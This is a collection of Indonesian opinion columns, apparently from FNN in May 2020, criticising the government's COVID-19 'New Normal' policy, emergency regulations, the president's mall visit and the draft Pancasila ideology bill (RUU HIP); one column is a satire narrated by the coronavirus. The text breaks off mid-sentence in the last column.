By Dr. Margarito Kamis Paduka Tuan Ketua, yang sangat penting dalam pemerintahan dan hidup negara ialah semangat. Semangat para penyelenggara negara. Semangat para pemimpin pemerintahan. Meskipun kita membikin undang-undang yang menurut kata-katanya bersifat kekeluargaan, apabila semangat para penyelenggara negara, para pemerintahan itu bersifat perseorangan, undang-undang dasar tadi tidak ada artinya dalam praktik. (Profesor Soepomo, Ketua Panitia Kecil Perancang UUD 1945) Jakarta FNN – Rabu (27/05). Suatu malam di bulan ini mendadak terbelah oleh pernyataan Presiden mengenai mudik dan pulang kampung. Dua kata itu, tak sama menurut Presiden. Ramai dibincangkan orang. Dan belum benar-benar mengering, muncul lagi isu lain. Bangsa ini, begitu esensi pernyataan Presiden harus berdamai. Hidup berdampingan dengan corona. Belum benar-benar menghilang isu ini, datang lagi isu baru, “pelonggaran PSBB”. Ramai juga dibincankan dalam cengkeraman kebingungan dan tak percaya. Terencana atau tidak, terkordinasi atau tidak. Menjelang penghujung Ramdahan Al-Mubarakh, rakyat tercekoki lagi ke isu baru. Namanya “The New Normal.” Ditengah gelombang mencekam itu, konser amal berbaju lelang, kalau tak salah di malam Nudzulul Qur’an. Konser yang akhirnya memalukan. Hadir dengan nuansa keangkuhan yang absolut. Bung Karno dan Soepomo Suka-suka, itulah yang terlihat menjadi pola pemerintahan mengelola negara ini. Memang demokrasi memungkinkannya. Demokrasi malah akan semakin mengandalkannya, bila tampilan pemerintahan teridentifikasi rusak. Rute kongkritnya, kebijakan formil dibiarkan berada di kejauhan. Bibungkus manis dan ketat dengan simptomnya. Ketika simptomnya diyakini telah membelit rakyat, barulah kebijakan resmi yang berada di kejauhan diresmikan. Ya diberi bentuk hukum. Ini standarnya. Ini agak absolut, karena demokrasi menjadikan legitimasi sebagai jimat ampuhnya. Setelah legitimasi samar-samar terlihat mulai memasyarakat dengan meyakinkan, demokrasi segera pergi ke gudang tata negara. Dari gudang itulah, demokrasi mengambil darinya senjata mematikan. Namanya keadaan genting. Lahirlah Perpu Nomor 1 Tahun 2020, yang judulnya panjang sekali itu. Perpu ini angkuh seangkuh demokrasi. Kebutuhan demokrasi bekerja lagi dengan memanggil tata negara membereskan misi Perpu. Lahirlah Peraturan Pemerintah Nomor 23 Tahun 2020, yang sama dengan judul Perpu, judul PP ini juga sangat panjang. Di tengah itu, keangkuhan demokrasi membiarkan harga minyak tak kunjung turun. Semuanya terlihat new normal. Sifat new normal itu terlihat pada kedatangan Presiden ke mall Sumarecom di Bekasi. Sungguh new normal disambut dan direalisasikan Kementerian BUMN dan Kementerian Kesehatan. Kementerian BUMN telah menerbitkan Surat Edaran Nomor S-336/MBU/05/2020 Tentang Antisipasi Skenario The New Normal BUMN. Di sisi lain Kementerian Kesehatan telah menerbitkan Keputusan Nomor 01.07/Menkes/328/2020 Tentang Panduan Pencegahan dan Pengendalian Corona Virus Disease 2019 (Covid-19) di Tempat Kerja Perkantoran dan Industri Dalam Mendukung Kelangsungan Usaha pada Situasi Pandemik. Begitulah sistem bernegara bekerja di tengah gempuran corona dengan segala efek melumpuhkannya. Begitulah bangsa ini mengelola dirinya sejauh ini. Begitulah cara bangsa ini mengidentifikasi dan menghidupkan pesan arif para pembentuk UUD 1945 dulu. Politik memang bersinggungan dengan keberuntungan. Sayangnya, bangsa besar ini tak beruntung sejauh ini. DPR, yang para pembentuk UUD 1945 andalkan untuk memastikan kekuasaan pemerintah tidak tak terbatas, sejauh ini dituntun demokrasi acak-kadul berbasis semangat persekutuan konyol mengambil jarak dari harapan pembuat UUD 1945. Sayang sekali. DPR, semoga bukan new normal. Nyatanya DPR mengambil jarak begitu jauh dari pandangan Bung Karno, Bung Hatta dan Profesor Soepomo. Pandangan Bung Karno dikemukakan pada rapat besar Panitia Perancang UUD tanggal 15 Juli 1945. Katanya, tadi telah saya menyitir perkataan Jaures, yang menyatakan bahwa di dalam liberalisme, maka parlemen jadi rapat raja-raja. Di dalam parlemen, lanjut Bung Karno, tiap-tiap wakil yang duduk sebagai anggota berkuasa sebagai raja. Dia menggugurkan rancangan-rancangan yang dibuat oleh pemerintah. Dia bisa menggugurkan minister-minister dari pada singgasananya. Tetapi pada saat yang sama ia berkuasa sebagai raja. Dia, kata Bung Karno selanjutnya, adalah budak belian dari pada si majikan. Yang bisa melemparkan dia dari pekerjaan, sehingga ia menjadi orang miskin, yang tidak punya pekerjaan. Inilah konflik dalam kalbu liberalisme, yang telah menjelma dalam parlementaire democratie-nya bangsa-bangsa Eropa dan Amerika. (lihat RM. A.B Kusuma, 2004). Profesor Soepomo, dalam tanggapannya kepada Muh. Yamin tentang menteri bertanggung jawab kepada DPR, menyodorkan pendapat menarik. Kata Profesor, akan tetapi kita harus mengingat juga bahwa dalam negara-negara ini, seperti Inggris, ada partai system. Kalau pemerintah “disokong partai terbesar di parlemen, sebetulnya pemerintah itu punya kekuasaan yang beasar sekali. Oleh karena itu, profesor Soepomo melanjutkan, orang seringkali mengatakan bahwa di Inggris itu ada dictatorial stelsel dari Menteri, terutama diktatur dari Perdana Menteri. Kita, kata Profesor, memakai sistem sendiri, sebagaimana dikatakan oleh tuan Sukiman. Sistem itu ialah kepala negara tak tunduk pada Badan Perwaklilan Rakyat (BPR). Tetapi bertanggung jawab sepenuhnya kepada MPR. Apa yang bisa dimaknai dari pandangan hebat-hebat ini? Itu hebat untuk old normal. New normal lain lagi. Hindarkanlah MPR hasil perubahan UUD 1945 sebanyak empat kali 1999-2002, sudah lain dari yang lain. Sifat tertingginya telah tersapu cinta buta demokrasi. MPR dulu telah melayang, terbang entah kemana. MPR itu telah terkubur. MPR itu telah masuk kedalam kubangan tipu-tipu canggih demokrasi liberal. MPR sekarang tak lagi menjadi lembaga yang padanya pertanggung jawaban Presiden ditujukan. Hebatnya sistem presidensial hasilperubahan UUD 1945, persis Amerika. Presiden tak bertanggung jawab pada DPR, juga tak bertanggung jawab pada lembaga apapun. Sempurna liberalismenya. Presidensialisme Indonesia hasil perubahan UUD 1945 beroperasi dalam rimba raya partai politik. Presidensialisme hasil pemilu 2019, beroperasi dalam topangan buta mayoritas partai di DPR. Tetapi memang demokrasi selalu begitu. Demokrasi tak dapat memaksa parpol untuk tertib tunduk pada pesan-pesan arif pembuat UUD. Hasilnya? New normal. Mengerikan. Hak budget, yang merupakan mahkota DPR dimanapun di dunia ini, dilepas dengan senang hati. Mungkin juga sukacita. Presidenalisme bekerja superefektif, mendekati tak terbatas. Presidensialisme dibiarkan bekerja secara independen. New normal, tak memungkinkan DPR diminta. Misalnya, mengoreksi iuran BJPS, juga harga minyak. Ini new normal. Yang paling mungkin adalah memanggil doa. Berdoalah agar tampilan persekutuan angkuh ala demokrasi busuk ini berubah. Tidak semakin membuat suram tata negara ini. Tak usah dikuasi ketakutan. Tapi mari berdoa semoga “new normal” tidak terus-terusan membuat “kritik terhadap pemerintah disamakan dengan memfitnah, menghina, lalu dipenjara”. Berharaplah kepada Allah Subhanahu Azza wa Jalla agar DPR dan Presiden tahu bahwa impian bernegara secara modern, berutang banyak pada norma hukum alam tentang kemuliaan manusia. Manusia adalah mahluk ciptaan Allah Subhanahu Wata’ala. Hukum alam menggariskan, manusia tidak bisa direndahkan untuk alasan dan kepentingan apapun. Ini memompa energi kemanusiaan Sir Edward Coke, yang kala itu menjabat sebagai Chief Justice of King Bens menantang raja James I. Coke lalu mengambil sudut oposisi tulen terhadap Raja James I. Raja ini telah terbakar ambisi dan keangkuhan, sehingga selalu ingin menaklukan parlemen. Ketika James I meminta kepada parlemen mengotorisasi dana sebesar E500.000, tenyata parlemen hanya menyetujui E160.000. Raja marah. Tidak cukup untuk membiayai perang dengan Spanyol. Lalu dengan hak prerogativenya, James memaksa parlemen memberi penjelasan, dan memperbesar jumlahnya. Celaka, parlemen menolak. Marah terhadap sikap parlemen, menurut Charles J. Reid dalam buku “The Sevententh-Century Revolution in the English Law, mengakibatkan James I membubarkan parlemen. Ini terjadi tahun 1621. Menariknya, hingga kekuasaannya berakhir tahun 1625, parlemen tetap tak memenuhi permintaannya. Penerusnya, Charles I yang berkuasa tahun 1626 segera merehabilitasi parlemen. Tetapi parlemen tak pernah mau tunduk prerogatifnya di bidang keuangan. Sepanjang 1626-1629, Charles mengadakan empat kali pertemuan dengan parlemen, dan setiap kali pertemuan selalu penuh badai. Indonesia Seperti Abad 17 Berakhirkah oposisi Sir Edward Coke terhadap kerajaan? Tidak. Menurut C. Perry Petterson dalam artikel The Evolution of Constitutionalism, dimuat pada Jurnal Minesotta Law Review Vol 32, Nomor 5, Coke membuat draft Petition of Rights 1628. Dalam doktrin Amerika, petition ini membatasi kekuasaan raja. Perkara yang membawa Coke berhadapan dengan James adalah kerajaan melarang Bonham, dokter lulusan Cambridge University berpraktek di London sebelum mendapat licency dari Royal Colege of Psysican. Bonhan menolak. Colege, yang menurut Act of Parliement 1610, diotorisasi bertindak atas nama kerajaan, memeriksa dan menghukum Bonham. Coke mengeritik kerajaan atas tindakan itu. Argumennya, undang-undang ini bertentangan dengan common law. Menurut Coke, UU ini harus dikesampingkan, direview karena bertentangan dengan common law. Ini terjadi 1614. (Lihat R.H. Helmolz, dalam Bonhan Case, Judicial Review and The Law of Nature, Jurnal of Legal Analisis Vol 1, Nomor 1, 2009). James I masih beraksi lagi. Atas nama prerogative, dia menghukum Edmund Peachem, anti royal. Dia dihukum mati dengan tuduhan high treason, kejahatan berat. Apa kejahatannya? Setelah mati, penyelidikan kerajaan menemukan catatan Peachem yang belum didistribusikan, apalagi dicetak. Isinya mengeritik kerajaan. Sebagaimana kritik, anda tidak menemukan kata-kata arif di dalamnya. Tetapi catatan itu membuat James I mengkhawatirkan kelangsungan kekuasaannya. Kurang dari sembilan minggu setelah itu, mulai tersibak gairah parlemen menghentikan, “hak prerogatif” raja dalam bidang keuangan. Coke mengeras melawan kerajaan, karena menemukan kenyataan cara kerajaan menyelidiki, memeriksan Peachem dinilai bertentangan dengan hukum alam. Setidaknya common law. Coke berpendapat, sekalipun pengadilan berada dalam kekuasaan kerajaan, tetapi hakim memiliki kebebasan untuk mempertimbangkan secara mendalam. David Colclough, Cyntia Clegg dan sarjana lainnya menggambarkan kasus ini sebagai masalah sentral kebebasan berpendapat dan pencetakan pada abad ke-17 dalam kerangka kebebasan berpolitik. David Zert disisi lain menggambarkannya sebagai balada kebebasan berbicara pada era pertumbuhan demokrasi (Lihat Tod Butler, The Cognitive Politics of Writing in Jacobean England: Bacon, Coke, and the Case of Edmund Peachem, Pensilvania Univ. Press, 2016). Indonesia hari ini terlihat berada sangat dekat dengan praktik tipikal abad 17 itu. Mengeritik kebijakan, disamakan dengan mengeritik pribadi pejabat negara. Dengan semangat yang mirip, pemerintah menempuh cara, entah apa namanya, menangguhkan sementara Dana Bagi Hasil DKI Jakarta. Demokrasi tak memberi tempat untuk bersedih. Tetapi mari ingatkan DPR untuk meresapi pesan Profesor Soepomo. Katanya pada rapat besar Panitia Perancang UUD 1945 tanggal 15 Juli 1945, “Paduka Tuan Ketua, yang sangat penting dalam pemerintahan dan hidup negara, semangat penyelenggara negara, semangat para pemimpin pemerintahan.” Semangat apa? Bukan semangat liberal, bukan pula semangat gotong royong tanpa arah. Semangat kemanusiaan yang adil dan beradab. Semangat mengayomi rakyat, tanpa pandang asal-usul, kekuatan ekonomi dan sejenisnya. Itulah semangat yang didambakan Soepomo dan kawan-kawan. Sedetik saja semangat ini melayang, maka the new normal, dengan “the new norm-nya” menjadi malapetaka buat bangsa ini. Serpihan-serpihan new norma yang dihasilkan oleh new normal dibidang tata negara saat ini, untuk alasan kesehatan bangsa ini, harus dihindarkan. Semoga. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate.

Segera Terbit Buku Corona Dua Bab: BAB 1 NEW NORMAL, BAB 2 HERD IMMUNITY

By Asyari Usman Jakarta, FNN - Komunitas virus Corona sedang gembira-ria. Mereka senang mendengar bahwa tak lama lagi akan terbit Buku Corona. Buku ini akan menguraikan kepada mereka tentang cara untuk menulari manusia lebih gencar lagi. Di Indonesia, komunitas virus Covid-19 tengah bersiap-siap menyambut peredaran buku yang sangat mereka tunggu-tunggu itu. Para penguasa sedang merampungkan naskah finalnya. Siap cetak. Para pemuka Corona saat ini sedang banyak menggelar “book review” (bedah buku) untuk naskah Buku Corona Dua Bab itu. Berikut hasil bedah naskah buku dua bab tsb. BAB 1: NEW NORMALPara pakar di masyarakat Corona berpendapat New Normal (Kelaziman Baru) yang akan diberlakukan pasca-PSBB masih akan menyulitkan mereka untuk menulari manusia secara massal. Sebab, panduan New Normal akan menganjurkan dengan sangat agar orang selalu memakai masker, menjaga jarak, dan mencuci tangan sesering mungkin. A. Pakai MaskerHari-hari dan minggu-minggu pertama setelah selesai PSBB, orang masih akan memakai masker. Minggu ketiga atau bahkan minggu kedua, orang akan mulai mengabaikannya. Anggap enteng. Kalau teringat, dipakai. Kalau lupa, lanjutkan saja. Pada tahap seperti ini, para komandan Corona akan memberikan aba-aba kepada pasukannya agar memanfaatkan sikap abai masker itu untuk melancarkan agresi. Para ahli strategi di komunitas Corona memperkirakan peluang penularan menjadi lebih terbuka. B. Jaga JarakManusia mulai merasa letih dengan jaga jarak. Toh, ‘tidak ada masalah’ kalau tak jaga jarak. Nah, ditambah dengan abai masker, berarti sosok manusia-manusia yang malas menjaga jarak semakin menggiurkan bagi virus Corona. Abaikan masker, bosan jaga jarak. Semakin terbuka lebar ekspansi teritorial. C. Cuci TanganKalau sudah sering tak pakai masker dan tak peduli jarak, pastilah akan berdampak ke kebiasaan cuci tangan juga. Apalagi, misalnya, fasilitas untuk ini belum tentu tersedia di setiap lokasi. Lagi pula, cuci tangan sering harus antri panjang. Entah di mana pun itu. Buang-buang waktu. “Ah, sudahlah. Sekali ini tak usah cuci tangah dulu.” Diperkirakan akan berlanjut esok hari dan seterusnya. Jadi, para pemuka Corona berkesimpulan bahwa Bab 1 ini akan membuka peluang baru. Yaitu, peluang menggencarkan kembali ‘browsing’ mereka untuk mencari mangsa yang berposisi ‘sitting duck’ setelah manusia melakukan hal-hal yang dijelaskan di sub-bab 1-A, 1-B, dan 1-C di atas. Begini kira-kira prediksi para pemuka Corona yang membedah Bab 1. Menyenangkan. Peluang bagus. Bisa meningkatkan target penularan. Dan pasukan Corona siap 24 jam. BAB 2: HERD IMMUNITYTetapi, yang paling ditunggu-tunggu adalah Bab 2. Tentang Herd Immunity. Yaitu, lanjutan logis dari Bab 1 yang berisi New Normal tadi. Bagi komunitas Corona, New Normal adalah ‘pengantar’ menuju Herd Immunity. Yaitu, proses untuk ‘membeli’ kekebalan alami dengan korban yang tak terduga berapa banyaknya. New Normal dan Herd Immunity adalah dua sisi di satu keping uang logam. New Normal adalah ‘halaman depan’ slaughtering house’ (rumah jagal) yang disiapkan sendiri oleh para penguasa. Para pemuka komunitas Corona menyebut rumah jagal itu dengan istilah Herd Immunity (HI). Bab 2 inilah yang mereka tunggu-tunggu. Setelah panduan-panduan Bab 1 berjalan lancar, itu berarti implementasi Bab 2 bakal seru. Yes! Karena, HI adalah bentuk ‘natural selection’ (seleksi alam) yang prosesnya akan diserahkan sepenuhnya kepada virus Corona. Suka-suka mereka. Yang bisa bertahan, selamatlah. Yang tak sanggup, selamat jalan. Bab 2 ini tidak punya sub-bab. Tidak seperti Bab 1, New Normal. Sebab, kata para pemuka Corona yang membedah buku ini, proses seleksi alam tidak bertele-tele. Pasalnya, semua mangsa tidak lagi menganggap penting Bab 1 di atas. Tugas virus semakin mudah. Sebagai penutup, resensi buku ini menyimpulkan bahwa Buku Corona Dua Bab itu memerlukan penambahan satu bab lagi. Supaya sempurna. Para pemuka Corona yang membedah buku berpendapat, secara otomatis harus ada Bab 3. Yaitu, bab tentang Kuburan Massal. Mereka akan mengusulkan kepada para penulis Buku Corona Dua Bab agar mencantumkan hal-ihwal Kuburan Massal itu.[] 27 Mei 2020(Penulis Wartawan Senior)

New Normal Atau New Mortal

By M. Rizal Fadillah Jakarta FNN – Kamis (27/05). New normal tentu berbeda dengan old normal. Pak Jokowi melempar istilah ini untuk melewati eranya pandemi covid 19. Bermula tentu saja dari Kemenkes atau bahkan dunia. Namun sayngnya, pemaknaannya belum jelas. Masih kabur. Sepertinya Pak Jokowi asal "nyeletuk" saja. Sama seperti dahulu Pak Jokowi asal “nyelutuk” tentang penerapan darurat sipil. Juga pernah “nyelutuk” atau pernah juga manipulator agama. Ada up normal ada juga para normal atau abnormal. New normal itu mungkin saja kehidupan normal model baru. Mantan covid atau bersama dengan covid. Kecenderungannya "berdamai" bersama covid 19. Pak Jokowi mulai dating membuka-buka mall. Hanya Masjid saja yang masih dinggap "abnormal". Mesjid masih tutup. Dalam pilihan ini, namanya herd immunity. Suatu kebijakan yang terbilang kacau, karena Presiden lebih mendahulukan kehidupan bisnis dibanding ancaman kesehatan. “Indonesia terserah Presiden saja, “kata Ahli Hukum Tata Negara, Dr. Margarito Kamis (fnn.co.id 27/05). Akhirnya, terserah mau-maunya Presiden saja lah. Mau PSBB ya silahkan. Perppu korupsi ya mangga. Darurat kesehatan juga monggo. Mau new normal lanjut. Pake para normal juga dipersilahkeun. Terserah Presiden saja. Negara dianggapnya punya Presiden ini. Rakyat mah ngga pada ngarti. Mereka cuma bisanya nrimo. Nggak menanam sayur ya oke. Terima impor sayur dari Cina, ya good saja. BPJS dinaikin, ya disuruh bahagia. Harga BBM tidak turun, juga ngga apa-apa. Yo wis, terserah bapak Presiden saja. Mau serius please. Mau planga-plongo juga ngga peduli. Sekarepe dewe wae. New normal itu diada-adakan saja. Covid 19 masih mengacak-acak perasaan manusia. Dokter dan tenaga medis masih sangat khawatir.Meraka yang ODP dan PDP belum stabil. Kalau sampai New normal gagal, Presiden harus ambil risiko. Siap dengan segala resiko ya. Jangan salahkan siapa-sipa. Jangan juga sampai Presiden salahkan rakyat atau tenaga medis. Tetapi pertanyaannya, apakah rakyat masih merasa punya Presiden ? Yang ada seleb yang dipaksakan muncul dan disubur-suburkan. New normal itu sama saja mendeklarasi sudah tidak ada lagi bencana nasional. New normal itu menyelesaikan PSBB. New normal adalah ilusi tentang situasi yang sudah kembali normal. Seperti di negeri khayalan. New nor mall adalah pastinya. Mall yang resmi dibuka dimana-mana. Kepentingan pengusaha yang didahulukan. Mahfud MD masih saja teriak-teriak agar Masjid tetap tutup. Mengaitkan dengan Iran yang ribuan jamaah masjid mati tertular. Tidak relevan sebab di Iran juga banyak pejabat yang mati juga. Lagi pula, kehidupan beragama kaum syi'ah Iran itu berbeda dengan kaum muslimin pada umumnya di dunia. Bedanya seperti langit dan bumi Sekarang Pak Mahfud MD cobalah teriak soal kebijakan new normal yang membuka mall, bandara, atau lainnya. Tegur dong Pak Presiden kalau berani. PSBB yang diinjak-injak demi bisnis yang harus hidup. Menkopolhukam harus berlaku adil bagi seluruh warga negara. Ketika Covid 19 belum tuntas teratasi, maka belum waktunya untuk kebijakan new normal. Pilihan masih berat. Jangan-jangan karena tergesa gesa melangkah dengan new normal, justru yang terjadi adalah new mortal. Kebrutalan baru. Kematian baru. Penulis adalah Pemerhati Politik dan Kebangsaan.

Mengapa Jokowi ke Summarecon Mall Bekasi? Tahukah Siapa Pemiliknya?

Oleh: Tjahja Gunawan Jakarta, FNN - Maaf saya menyangsikan tujuan kunjungan Presiden Jokowi ke Summarecon Mall Bekasi dalam rangka persiapan "New Normal" pasca pemberlakuan Pembatasan Sosial Berskala Besar (PSBB). Baiklah, sebelum membahas itu, saya awali uraian ini dengan menjawab pertanyaan atas judul tulisan ini. Ya, mengapa Presiden Jokowi hari Selasa siang (26/5) tiba-tiba mendatangi Mall Summarecon Bekasi? Padahal di Bekasi paling tidak ada dua mall besar lainnnya yang terletak di lokasi strategis yakni Metropolitan Mall dan Grand Metropolitan. Tahukah Anda siapa pemilik Summarecon Mall Bekasi? Dia adalah pengusaha properti Sutjipto Nagaria (79). Sutjipto adalah pendiri sekaligus pemilik PT Summarecon Agung Tbk (SMRA). Selain di Bekasi, produk perusahaan properti yang sudah tercatat di Bursa Efek Indonesia (BEI) ini juga terdapat di Kelapa Gading Jakarta Utara, Serpong Tangerang, dan Bandung Jawa Barat. Keberadaan mall yang dibangun Summarecon merupakan satu kesatuan yang tidak terpisahkan dari produk properti lainnya yakni kawasan perumahan dan apartemen yang dibangun secara terpadu dalam satu kawasan. Mari kita lihat kinerja keuangan perusahaan properti ini. Pada tahun 2019, pendapatan PT Summarecon Agung Tbk sebesar Rp 5,94 Trilyun sedangkan laba bersihnya Rp 514 Milyar. Sedangkan liabilitas (utang) perseroan sepanjang tahun 2019 naik 5,2 persen menjadi Rp14,99 triliun dibandingkan tahun sebelumnya Rp14,23 triliun. Jajaran Orang Terkaya Meski utang perusahaan besar, tahun 2015, Sutjipto Nagaria pernah masuk dalam jajaran orang terkaya versi Forbes dengan total kekayaan 400 juta dollar AS atau Rp 6 Triliun dengan kurs Rp 15.000 per dollar AS. Kembali pada kunjungan Presiden Jokowi. Sebenarnya ada wabah atau tidak ada pandemi Covid19, kunjungan Jokowi ke Summarecon Mall Bekasi telah memberi manfaat langsung dan keuntungan bagi perusahaan. Jika melihat perdagangan di BEI hari Selasa (26/5), harga saham PT Summarecon Agung Tbk naik 4,31 persen menjadi Rp 436 per saham. Berdasarkan pengalaman saya sebagai wartawan ekonomi selama 20 tahun khususnya liputan di bidang properti, naik turunnya harga saham selain ditentukan faktor teknikal juga dipengaruhi faktor psikologis. Dalam situasi pasar keuangan global yang sedang lesu seperti saat ini, kunjungan Presiden Jokowi ke Summarecon Mall Bekasi telah memberikan sentimen positif terhadap kenaikan saham Summarecon Agung. Dari sisi teknikal, nyaris tidak ada faktor positif yang bisa mendorong kenaikan harga saham PT Summarecon Agung. Mengapa ? Karena secara umum industri properti saat ini juga sedang lesu. Kini penjualan berbagai produk properti pada umumnya menurun. Penjualan rumah, apartemen, kondominium serta produk properti komersial lainnya, sekarang sedang menukik tajam. Dalam situasi wabah Covid19 ini, masyarakat lebih mengutamakan kebutuhan pangan dan sandang ketimbang keperluan papan (perumahan). Keadaan tersebut diperparah dengan pemberlakuan PSBB. Sebab dengan adanya PSBB, hampir semua pusat perbelanjaan modern juga harus tutup kecuali untuk tenant yang menjual kebutuhan pangan. Oleh karena itu sekali lagi saya agak meragukan tujuan kunjungan Presiden ke Summarecon Mall Bekasi dalam rangka persiapan pemberlakuan "New Normal" pasca PSBB. Apalagi Menko Polhukam Mahfud MD sebagaimana dikutip Kantor Berita Antara menyatakan kebijakan “New Normal” di tengah pandemi virus corona (Covid-19) baru sebatas wacana dan belum ada keputusan resmi dari pemerintah. "Sekarang ini pemerintah, saya katakan sebagai Menko Polhukam, ada wacana, belum keputusan wacana bagaimana tentang new normal ini," kata Mahfud dalam sambutannya di acara Halal bi Halal IKA UNS yang disiarkan di kanal Youtube Universitas Negeri Sebelas Maret, Selasa (26/5). Kalau kebijakan “New Normal” masih wacana, lalu tujuan kunjungan Presiden Jokowi ke Summarecon Mall Bekasi untuk apa? Apalagi perpanjangan pemberlakuan PSBB di Kota dan Kabupaten Bekasi, Kota Depok dan Kota serta Kabupaten Bogor baru akan berakhir tanggal 29 Mei 2020. Memang seharusnya PSBB di lima wilayah kota dan kabupaten Bodebek itu berakhir Selasa (26/5/2020). Namun, Gubernur Jawa Barat Ridwan Kamil melalui Keputusan Gubernur yang ia teken pada 19 Mei 2020 meminta agar PSBB wilayah Bodebek menyelaraskan diri dengan periode PSBB Jawa Barat. "PSBB Tingkat Daerah Provinsi Jawa Barat dalam rangka Percepatan Penanggulangan Covid-19 dilanjutkan dengan skala proporsional sampai dengan tanggal 29 Mei 2020," tulis Ridwan Kamil sebagaimana diberitakan portal berita Kompas. Dari kunjungan Jokowi ke Summarecon Mall Bekasi, terkesan penguasa bersikeras untuk sesegera mungkin memberlakukan “New Normal” (baca membuka mall). Padahal, kurva belum melandai? Padahal kebijakan yang sekarang saja amburadul? Menurut Ustadz Yudha Pedyanto, sejatinya “New Normal” adalah tuntutan para kapitalis dan pemilik modal. Mereka tidak mau terus merugi. Para pemilik mall, para pemilik jaringan hotel besar, para pemilik maskapai penerbangan, para pemilik raksasa migas, mereka yang selama ini "sakratul maut" akibat pandemi berusaha untuk bangkit kembali. Tentu saja mereka tinggal menekan para penguasa beserta kroni mereka. Toh mereka dulu jadi penguasa lewat pemilu yang kemarin di-support penuh oleh para kapitalis tersebut. Wallohualam bhisawab. Penulis Wartawan Senior.

RUU HIP Membuat Negara Terancam Bubar

By Dr. Masri Sitanggang Jakarta FNN – Selasa (26/05). Tulisan ini adalah ringkasan surat berkenaan dengan Rancangan Undang-Undang (RUU) Haluan Ideologi Pancasila (HIP), yang saya layangkan 12 Mei 2020 kepada para Ketua Fraksi di DPR RI. Bila disahkan menjadi UU, hemat saya, akan sangat berbahaya bagi kehidupan berbangsa dan bernegara. Kesepakatan luhur kita akan buyar dan Indonesia terancam bubar. Masyarakat wajib hukumnya untuk mengetahui RUU yang sangat membahayakan bangsa dan negara Indonesia ini. Tidak boleh tidak tahu. RUU ini saya sebut saja “RUU HIP”. Sedikitnya ada lima alasan utama dan mendasar kenapa RUU HIP mutlak harus ditolak. Pertama, alasan untuk membentuk UU HIP terasa sangat mengada-ada. Dalam konsideran RUU HIP disebutkan, “UU HIP perlu dibentuk sebab belum ada UU dalam bentuk Haluan Ideologi Pancasila sebagai landasan hukum untuk menjadi pedoman bagi kehidupan berbangsa dan bernegara sebagai kerangka landasan berpikir dan bertindak bagi penyelenggara negara dan masyarakat guna mencapai tujuan bernegara sebagaimana dimaksud dalam Pembukaan UUD 1945”. Sangat aneh. Apakah selama 74 tahun Indonesia merdeka, penyelenggara negara melaksanakan tugasnya dengan tanpa landasan hukum Ideologi Pancasila? Lalu, apa artinya “Pancasila adalah sumber dari segala sumber hukum negara”? Atau, apakah hukum dan perundang-undangan yang berlaku selama ini tidak sesuai dengan Pancasila ? Bukankah semua pejabat negara disumpah untuk setia dan melaksanakan Pancasila ? Bukankah HTI “dibubarkan”, dan FPI tidak diperpanjang tanda terdaftarnya karena persoalan ideology Pancasila ? Alasan ini sungguh-sungguh membingungkan dan menyesatkan. Pedoman bagi kehidupan berbangsa dan bernegara, sebagai kerangka landasan berpikir dan bertindak bagi penyelenggara negara dan masyarakat untuk mencapai tujuan bernegara sebagaimana dimaksud dalam Pembukaan UUD 1945, adalah UUD 1945 itu sendiri. Undang-Undang Dasar 1945 adalah dasar bagi tata kelola sekaligus penunjuk arah atau haluan pembangunan Negara Indonesia. UUD 1945 dilahirkan dari Pancasila sebagai sumber dari segala sumber hukum negara. Batang tubuh UUD 1945 seluruhnya merupakan pengejawantahan dari nilai-nila jiwa dan semangat Pancasila, dalam bentuk UU sebagai landasan hukum bagi mencapai tujuan bernegara. Oleh sebab itu, UUD 1945 adalah merupakan “Haluan Ideologi Pancasila. Dus, tidak perlu dan tidak butuh adanya UU HIP. Kedua, kehadiran UU HIP dapat menimbulkan kekacauan tata hukum nasional. Secara hirarki, UU HIP seharusnya ada di bawah UUD 1945. Konsideran untuk membentuk UU HIP adalah berupa Ketetapan-ketetapan MPR, sehingga UU HIP boleh diartikan sebagai derivasi dari Ketetapan-Ketetapan MPR itu . Dilihat dari objek hukumnya, yaitu Pancasila yang diundangkan sebagai haluan ideologi, UU HIP dapat dipandang sebagai “Makna Pancasila”. Dalam penerapan, kedudukannya bisa setara dengan UUD 1945. Bahkan dapat berada di atas UUD 1945, karena UU HIP dapat dimaknai sebagai Pancasila itu sendiri. Dengan demikian UU HIP dapat menjadi sumber dari segala sumber hukum negara. Bahkan UUD 1945 pun harus tunduk pada UU HIP, karena berada di bawahnya. Bagaimana realitasnya nanti, akan sangat tergantung pada penafsiran yang dibuat oleh penguasa. Ini sangat berbahaya. Pandangan saya ini tergambar jelas pada BAB II pasal 4 RUU HIP tentang fungsi Haluan Ideologi Pancasila, yang sesungguhnya adalah merupakan fungsi dari UUD 1945. Inilah bunyi Pasal 4 tersebut, Haluan Ideologi Pancasila memiliki fungsi sebagai : Pedoman bagi Penyelenggara Negara dalam menyusun dan menetapkan perencanaan, pelaksanaan, dan evaluasi terhadap kebijakan Pembangunan Nasional, baik di tingkat pusat maupun di tingkat daerah, untuk mewujudkan penyelenggaraan pemerintahan negara yang demokratis berdasarkan asas-asas umum pemerintahan yang baik dan mewujudkan mekanisme kontrol di dalam kehidupan berbangsa dan bernegara; pedoman bagi Penyelenggara Negara dalam menyusun dan menetapkan perencanaan, pelaksanaan, serta evaluasi terhadap kebijakan pembangunan nasional di bidang politik, hukum, ekonomi, sosial, budaya, mental, spiritual, pendidikan, pertahanan dan keamanan yang berlandaskan pada ilmu pengetahuan dan teknologi guna mewujudkan masyarakat adil dan makmur yang berketuhanan; Ketiga, RUU HIP ini sungguh-sungguh sangat aneh. Di dalam konsideran tidak disebutkan legalitas Pancasila sebagai dasar falsafah negara. Yang demikian ini mengakibatkan ketidakjelasan tentang Pancasila yang menjadi objek yang akan diundangkan. Bicara Pancasila, tentu saja kaitannya dengan dasar falsafah negara. Dengan demikian, harus merujuk pada alenia ke 4 Pembukaan UUD 1945. Hal ini dipertegas kembali dalam Ketetapan MPR No. XVIII/MPR/1998, khususnya pada Pasal 1. Dasar hukum Berlakunya Pancasila dan UUD 1945 saat ini, adalah Dekrit Presiden 5 Juli 1959. Oleh karena itu, Dekrit Presiden 5 Juli 1959 wajib masuk dalam konsideran. Yang demikian itu, agar jelas dan teranglah Pancasila yang mana yang dimaksud oleh RUU HIP itu. Perdebatan-perdebatan akademik dan demokratis di dalam Majelis Konstituante menjelang lahirnya Dekrit 5 Juli 1959, juga akan memberi keterangan yang lebih jelas tentang Pancasila yang dapat diterima semua golongan bangsa ini. Maka, mengabaikan Dekrit Presiden 5 Juli 1959 dalam melahirkan UU 